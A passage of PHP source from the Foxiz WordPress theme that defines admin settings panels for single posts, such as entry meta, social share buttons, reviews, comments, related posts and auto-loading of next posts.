'bg-1,big' ), array( 'id' => 'single_post_primary_category', 'type' => 'switch', 'title' => esc_html__( 'Primary Category', 'foxiz' ), 'subtitle' => esc_html__( 'By default, Primary category setting will only apply to the post listing.', 'foxiz' ), 'description' => esc_html__( 'Enable this option if you would like to only show the primary category in the single post.', 'foxiz' ), 'switch' => true, 'default' => 0 ), array( 'id' => 'single_post_entry_category_size', 'type' => 'text', 'validate' => 'number', 'title' => esc_html__( 'Entry Category Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom font size value (in px) for the single entry category.', 'foxiz' ), 'description' => esc_html__( 'This setting will only apply on the desktop devices. Navigate to "Typography > Entry Category" to set for tablet mobile devices.', 'foxiz' ), 'default' => '' ), ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_tagline' ) ) { /** * @return array */ function foxiz_register_options_single_post_tagline() { return array( 'title' => esc_html__( 'Single Tagline', 'foxiz' ), 'id' => 'foxiz_config_section_single_tagline', 'desc' => esc_html__( 'Select a HTML tag for the single tagline to optimize your SEO settings.', 'foxiz' ), 'icon' => 'el el-pencil', 'subsection' => true, 'fields' => array( array( 'id' => 'info_tagline_typo', 'type' => 'info', 'style' => 'info', 'desc' => esc_html__( 'To edit the tagline typography, navigate to "Typography > Headline & Tagline > Single Tagline".', 'foxiz' ), ), array( 'id' => 'tagline_tag', 'type' => 'select', 'title' => esc_html__( 'HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a HTML tag for the single tagline.', 'foxiz' ), 'options' => array( 'h2' => esc_html__( 'H2', 'foxiz' ), 'h3' => esc_html__( 'H3', 'foxiz' ), 'h4' => esc_html__( 'H4', 'foxiz' ), 'h5' => esc_html__( 'H5', 'foxiz' ), 'h6' => esc_html__( 'H6', 'foxiz' ), 'span' => esc_html__( 'span', 'foxiz' ) ), 'default' => 'h2' ), array( 'id' => 'highlight_heading', 'type' => 'text', 'title' => esc_html__( 'Highlight Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for the highlights section if it is existing.', 'foxiz' ), 'default' => esc_html__( 'Highlights', 'foxiz' ) ), ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_meta' ) ) { /** * @return array */ function foxiz_register_options_single_post_meta() { return array( 'title' => esc_html__( 'Entry Meta', 'foxiz' ), 'id' => 'foxiz_config_section_sp_style', 'desc' => esc_html__( 'Select styles, layouts and other settings for the single post meta.', 'foxiz' ), 'icon' => 'el el-adjust-alt', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_single_meta_info', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Entry Meta Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_avatar', 'type' => 'switch', 'title' => esc_html__( 'Big Avatar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the author avatars before the entry meta bar.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta info to appear in the single post pages.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array( 'author', 'date' ), ), array( 'id' => 'single_post_meta_author_label', 'title' => esc_html__( '"Posted" Author Label', 'foxiz' ), 'subtitle' => esc_html__( 'Show the "posted" text before the single post author meta.', 'foxiz' ), 'type' => 'switch', 'default' => false, ), array( 'id' => 'single_post_author_job', 'type' => 'switch', 'title' => esc_html__( 'Author Job', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the author job info.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => 'single_post_mobile_hide_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => 'section_end_single_meta_info', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_updated_meta', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Last Updated Date', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_updated_meta', 'type' => 'switch', 'title' => esc_html__( 'Last Updated Date', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the last updated meta info in the single post.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_update_format', 'type' => 'text', 'title' => esc_html__( 'Date Format', 'foxiz' ), 'subtitle' => esc_html__( 'Custom date format for the last updated info.', 'foxiz' ), 'placeholder' => 'Y/m/d \a\t g:i A', 'default' => '' ), array( 'id' => 'section_end_single_updated_meta', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_min_read', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Reading Time', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_min_read', 'type' => 'switch', 'title' => esc_html__( 'Reading Time', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the reading time info in the single post.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_min_read', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ), ); } } if ( ! function_exists( 'foxiz_register_options_single_post_shares' ) ) { /** * @return array */ function foxiz_register_options_single_post_shares() { return array( 'title' => esc_html__( 'Share on Socials', 'foxiz' ), 'id' => 'foxiz_config_section_single_shares', 'desc' => esc_html__( 'Select socials you would like to show the share button.', 'foxiz' ), 'icon' => 'el el-share', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_single_post_social_top', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'At the Top', 'foxiz' ), 'indent' => true ), array( 'id' => 'share_top', 'type' => 'switch', 'title' => esc_html__( 'Top Share Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable top share section. This section will display below the single entry meta info.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_top_color', 'type' => 'switch', 'title' => esc_html__( 'Colorful Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable color for social icons.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_top_facebook', 'type' => 'switch', 'title' => esc_html__( 'Facebook', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Facebook.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_top_twitter', 'type' => 'switch', 'title' => esc_html__( 'Twitter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Twitter.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_top_pinterest', 'type' => 'switch', 'title' => esc_html__( 'Pinterest', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Pinterest.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_whatsapp', 'type' => 'switch', 'title' => esc_html__( 'WhatsApp', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on WhatsApp.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_linkedin', 'type' => 'switch', 'title' => esc_html__( 'LinkedIn', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on LinkedIn.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_tumblr', 'type' => 'switch', 'title' => esc_html__( 'Tumblr', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Tumblr.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_reddit', 'type' => 'switch', 'title' => esc_html__( 'Reddit', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Reddit.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_vk', 'type' => 'switch', 'title' => esc_html__( 'Vkontakte', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Vkontakte.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_telegram', 'type' => 'switch', 'title' => esc_html__( 'Telegram', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Telegram.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_top_email', 'type' => 'switch', 'title' => esc_html__( 'Email', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Email.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_top_copy', 'type' => 'switch', 'title' => esc_html__( 'Copy Link', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the copy post link icon.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => 0 ), array( 'id' => 'share_top_print', 'type' => 'switch', 'title' => esc_html__( 'Print', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the print post button.', 'foxiz' ), 'required' => array( 'share_top', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_post_social_top', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), /** bottom shares */ array( 'id' => 'section_start_single_post_social_bottom', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'At Bottom of Post Content', 'foxiz' ), 'indent' => true ), array( 'id' => 'share_bottom', 'type' => 'switch', 'title' => esc_html__( 'Bottom Content Share Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bottom share bar, This section is displayed at below of the post content.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_bottom_color', 'type' => 'switch', 'title' => esc_html__( 'Colorful Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable color for social icons.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_bottom_facebook', 'type' => 'switch', 'title' => esc_html__( 'Facebook', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Facebook.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_bottom_twitter', 'type' => 'switch', 'title' => esc_html__( 'Twitter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Twitter.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_bottom_pinterest', 'type' => 'switch', 'title' => esc_html__( 'Pinterest', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Pinterest.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_whatsapp', 'type' => 'switch', 'title' => esc_html__( 'WhatsApp', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on WhatsApp.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_linkedin', 'type' => 'switch', 'title' => esc_html__( 'LinkedIn', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on LinkedIn.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_tumblr', 'type' => 'switch', 'title' => esc_html__( 'Tumblr', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Tumblr.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_reddit', 'type' => 'switch', 'title' => esc_html__( 'Reddit', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Reddit.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_vk', 'type' => 'switch', 'title' => esc_html__( 'Vkontakte', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Vkontakte.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_telegram', 'type' => 'switch', 'title' => esc_html__( 'Telegram', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Telegram.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_bottom_email', 'type' => 'switch', 'title' => esc_html__( 'Email', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Email.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_bottom_copy', 'type' => 'switch', 'title' => esc_html__( 'Copy Link', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the copy post link button.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => 0 ), array( 'id' => 'share_bottom_print', 'type' => 'switch', 'title' => esc_html__( 'Print', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the print button.', 'foxiz' ), 'required' => array( 'share_bottom', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_post_social_bottom', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_post_social_left', 'title' => esc_html__( 'Fixed Left Area', 'foxiz' ), 'type' => 'section', 'class' => 'ruby-section-start', 'indent' => true ), array( 'id' => 'share_left', 'type' => 'switch', 'title' => esc_html__( 'Fixed Left Share Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on socials at the fixed left section.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_left_color', 'type' => 'switch', 'title' => esc_html__( 'Colorful Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable color for social icons.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_left_facebook', 'type' => 'switch', 'title' => esc_html__( 'Facebook', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Facebook.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_left_twitter', 'type' => 'switch', 'title' => esc_html__( 'Twitter', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Twitter.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_left_pinterest', 'type' => 'switch', 'title' => esc_html__( 'Pinterest', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Pinterest.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_whatsapp', 'type' => 'switch', 'title' => esc_html__( 'WhatsApp', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on WhatsApp.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_linkedin', 'type' => 'switch', 'title' => esc_html__( 'LinkedIn', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on LinkedIn.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_tumblr', 'type' => 'switch', 'title' => esc_html__( 'Tumblr', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Tumblr.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_reddit', 'type' => 'switch', 'title' => esc_html__( 'Reddit', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Reddit.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_vk', 'type' => 'switch', 'title' => esc_html__( 'Vkontakte', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Vkontakte.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_telegram', 'type' => 'switch', 'title' => esc_html__( 'Telegram', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Telegram.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'share_left_email', 'type' => 'switch', 'title' => esc_html__( 'Email', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Email.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'share_left_copy', 'type' => 'switch', 'title' => esc_html__( 'Copy Link', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the copy post link icon.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => 0 ), array( 'id' => 'share_left_print', 'type' => 'switch', 'title' => esc_html__( 'Print', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the print button.', 'foxiz' ), 'required' => array( 'share_left', '=', '1' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'section_end_single_post_social_left', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_sponsored' ) ) { /** * @return array */ function foxiz_register_options_single_post_sponsored() { return array( 'title' => esc_html__( 'Sponsored Post', 'foxiz' ), 'id' => 'foxiz_config_section_sp_sponsored', 'desc' => esc_html__( 'Select settings for the sponsored posts.', 'foxiz' ), 'icon' => 'el el-bell', 'subsection' => true, 'fields' => array( array( 'id' => 'sponsor_meta_text', 'type' => 'text', 'title' => esc_html__( 'Sponsored Meta Text', 'foxiz' ), 'subtitle' => esc_html__( 'Input a meta text for the sponsored posts.', 'foxiz' ), 'default' => foxiz_html__( 'Sponsored by', 'foxiz' ) ), array( 'id' => 'single_post_sponsor_redirect', 'type' => 'switch', 'title' => esc_html__( 'Directly Redirect', 'foxiz' ), 'subtitle' => esc_html__( 'Directly redirect to the sponsored URL when visitors click on the post title in the blog listing.', 'foxiz' ), 'switch' => true, 'default' => '0' ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_review' ) ) { /** * @return array */ function foxiz_register_options_single_post_review() { return array( 'title' => esc_html__( 'Review & Rating', 'foxiz' ), 'id' => 'foxiz_config_section_sp_review', 'desc' => esc_html__( 'Select options for the review system.', 'foxiz' ), 'icon' => 'el el-star', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_review_type', 'title' => esc_html__( 'Default Review Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select a default review type for your website.', 'foxiz' ), 'type' => 'select', 'options' => array( 'star' => esc_html__( 'The Star (1 > 5)', 'foxiz' ), 'score' => esc_html__( 'The Score (1 > 10)', 'foxiz' ), ), 'default' => 'star' ), array( 'id' => 'user_can_review', 'title' => esc_html__( 'User Rating in Comments', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable visitors can rate and review on the post review.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Enable', 'foxiz' ), '2' => esc_html__( 'Enable without Post Review', 'foxiz' ), '0' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'single_post_review_image', 'title' => esc_html__( 'Default Review Image', 'foxiz' ), 'subtitle' => esc_html__( 'Select a default featured image for the review box.', 'foxiz' ), 'type' => 'media', ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_comment' ) ) { /** * @return array */ function foxiz_register_options_single_post_comment() { return array( 'title' => esc_html__( 'Comments', 'foxiz' ), 'id' => 'foxiz_config_section_single_comment', 'desc' => esc_html__( 'Select settings for the comment box.', 'foxiz' ), 'icon' => 'el el-comment', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_comment_button', 'type' => 'switch', 'title' => esc_html__( 'Show/Hide Comment Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the button show/hide comment box in the single post pages.', 'foxiz' ), 'switch' => true, 'default' => '1' ), array( 'id' => 'single_post_user_can_review', 'title' => esc_html__( 'User Rating in Comments', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable visitors can rate and review all posts in the comment box.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Disable', 'foxiz' ), '1' => esc_html__( 'Enable for Review Posts', 'foxiz' ), '2' => esc_html__( 'Enable for All Posts', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'single_post_comment', 'type' => 'switch', 'title' => esc_html__( 'Disable All Comments', 'foxiz' ), 'subtitle' => esc_html__( 'This is a global option to disable all comments on posts & page...', 'foxiz' ), 'switch' => true, 'default' => '0' ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_footer' ) ) { /** * @return array */ function foxiz_register_options_single_post_footer() { return array( 'title' => esc_html__( 'Related & Popular', 'foxiz' ), 'id' => 'foxiz_config_section_sp_footer', 'desc' => esc_html__( 'Select options for the related and popular section at the footer of the single post page.', 'foxiz' ), 'icon' => 'el el-flag', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_single_inline_related', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Inline Content Related Box', 'foxiz' ), 'subtitle' => esc_html__( 'To use the shortcode, read the documentation "Related Box Shortcode" for further information.', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_inline_related', 'type' => 'textarea', 'title' => esc_html__( 'Related Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a related shortcode you want to display.', 'foxiz' ), 'description' => esc_html__( 'The setting will not apply to posts have been added shortcode directly into content.', 'foxiz' ), 'placeholder' => '[ruby_related heading="More Read" total="5" layout="1" where="all"]' ), array( 'id' => 'single_post_inline_related_pos', 'type' => 'text', 'class' => 'small-text', 'title' => esc_html__( 'Display Position', 'foxiz' ), 'subtitle' => esc_html__( 'Input a position (after x paragraphs) to display the related bõ.', 'foxiz' ), 'description' => esc_html__( 'The related box will not appear on post have number of paragraph less than this setting.', 'foxiz' ), 'default' => 5 ), array( 'id' => 'section_end_single_inline_related', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_post_related', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Related Section', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_related', 'type' => 'switch', 'title' => esc_html__( 'Related Section', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the related section at the footer in single post pages.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_related_blog_heading', 'type' => 'text', 'title' => esc_html__( 'Related Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for this section. Leave -1 to disable this heading.', 'foxiz' ), 'switch' => true, 'default' => '', ), array( 'id' => 'single_post_related_blog_heading_layout', 'title' => esc_html__( 'Heading Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a heading layout for the heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout( true ), 'default' => '0', ), array( 'id' => 'single_post_related_heading_tag', 'title' => esc_html__( 'Heading HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a HTML tag for this heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0', ), array( 'id' => 'single_post_related_blog_heading_size', 'title' => esc_html__( 'Heading Font Size (Desktop)', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom font size value for this heading (px) on the desktop. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '', ), array( 'id' => 'single_post_related_layout', 'type' => 'select', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the blog listing.', 'foxiz' ), 'options' => array( 'grid_small_1' => esc_html__( 'Small Grid 1 (4 Columns)', 'foxiz' ), 'grid_1' => esc_html__( 'Grid 1 (3 Columns)', 'foxiz' ) ), 'default' => 'grid_small_1' ), array( 'id' => 'single_post_related_where', 'type' => 'select', 'title' => esc_html__( 'Posts from Where', 'foxiz' ), 'subtitle' => esc_html__( 'What posts should be displayed in the related section.', 'foxiz' ), 'options' => array( 'all' => esc_html__( 'Same Tags & Categories', 'foxiz' ), 'tag' => esc_html__( 'Same Tags', 'foxiz' ), 'category' => esc_html__( 'Same Categories', 'foxiz' ), ), 'default' => 'all' ), array( 'id' => 'single_post_related_total', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Number of Posts', 'foxiz' ), 'subtitle' => esc_html__( 'Select number of posts to show at once.', 'foxiz' ), 'default' => 4 ), array( 'id' => 'single_post_related_pagination', 'title' => esc_html__( 'Pagination Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a pagination type for the related section.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( 'Disabled', 'foxiz' ), 'next_prev' => esc_html__( 'Next Prev', 'foxiz' ), 'load_more' => esc_html__( 'Show More', 'foxiz' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_single_post_related', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_single_post_popular', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Popular Section', 'foxiz' ), 'indent' => true ), array( 'id' => 'single_post_popular', 'type' => 'switch', 'title' => esc_html__( 'Popular Section', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the popular section in single post pages.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_popular_shortcode', 'type' => 'textarea', 'title' => esc_html__( 'Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Add a ruby template shortcode you would like to in this section..', 'foxiz' ), 'placeholder' => '[Ruby_E_Template id="1"]' ), array( 'id' => 'section_end_single_post_popular', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_ajax' ) ) { /** * @return array */ function foxiz_register_options_single_post_ajax() { return array( 'title' => esc_html__( 'Auto Load Next Posts', 'foxiz' ), 'id' => 'foxiz_config_section_sp_ajax', 'desc' => esc_html__( 'Select options for the ajax load next posts feature.', 'foxiz' ), 'icon' => 'el el-refresh', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_ajax_next_post', 'type' => 'switch', 'title' => esc_html__( 'Auto Load Next Posts', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable ajax load next posts when visitors reached end of the post content.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'ajax_next_button', 'type' => 'switch', 'title' => esc_html__( 'Show Continue Reading', 'foxiz' ), 'subtitle' => esc_html__( 'Hide a part of content of next posts and show the button to increase page views.', 'foxiz' ), 'switch' => true, 'default' => '1' ), array( 'id' => 'ajax_next_cat', 'type' => 'switch', 'title' => esc_html__( 'Same Categories', 'foxiz' ), 'subtitle' => esc_html__( 'Only load posts which has same categories with the current post.', 'foxiz' ), 'switch' => true, 'default' => '0' ), array( 'id' => 'ajax_next_sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a special sidebar for all next load posts, Recommended use simple or advert content.', 'foxiz' ), 'options' => foxiz_config_sidebar_name(), 'default' => 'foxiz_sidebar_default' ), array( 'id' => 'ajax_next_hide_sidebar', 'type' => 'switch', 'title' => esc_html__( 'Hide Sidebar on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post sidebar on the mobile device when load next posts.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'ajax_next_comment_button', 'type' => 'switch', 'title' => esc_html__( 'Show/Hide Comment Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the button show/hide comment box when load next posts.', 'foxiz' ), 'switch' => true, 'default' => 1 ) ) ); } } if ( ! function_exists( 'foxiz_register_options_single_post_highlight' ) ) { /** * @return array */ function foxiz_register_options_single_post_highlight() { return array( 'title' => esc_html__( 'Highlight Shares', 'foxiz' ), 'id' => 'foxiz_config_section_highlight_share', 'desc' => esc_html__( 'Show the popup shares bar when the user highlight text in the post content.', 'foxiz' ), 'icon' => 'el el-share-alt', 'subsection' => true, 'fields' => array( array( 'id' => 'single_post_highlight_shares', 'type' => 'switch', 'title' => esc_html__( 'Highlight Shares', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the highlight shares feature.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'single_post_highlight_share_facebook', 'type' => 'switch', 'title' => esc_html__( 'Share on Facebook', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable share on Facebook.', 'foxiz' ), 'switch' 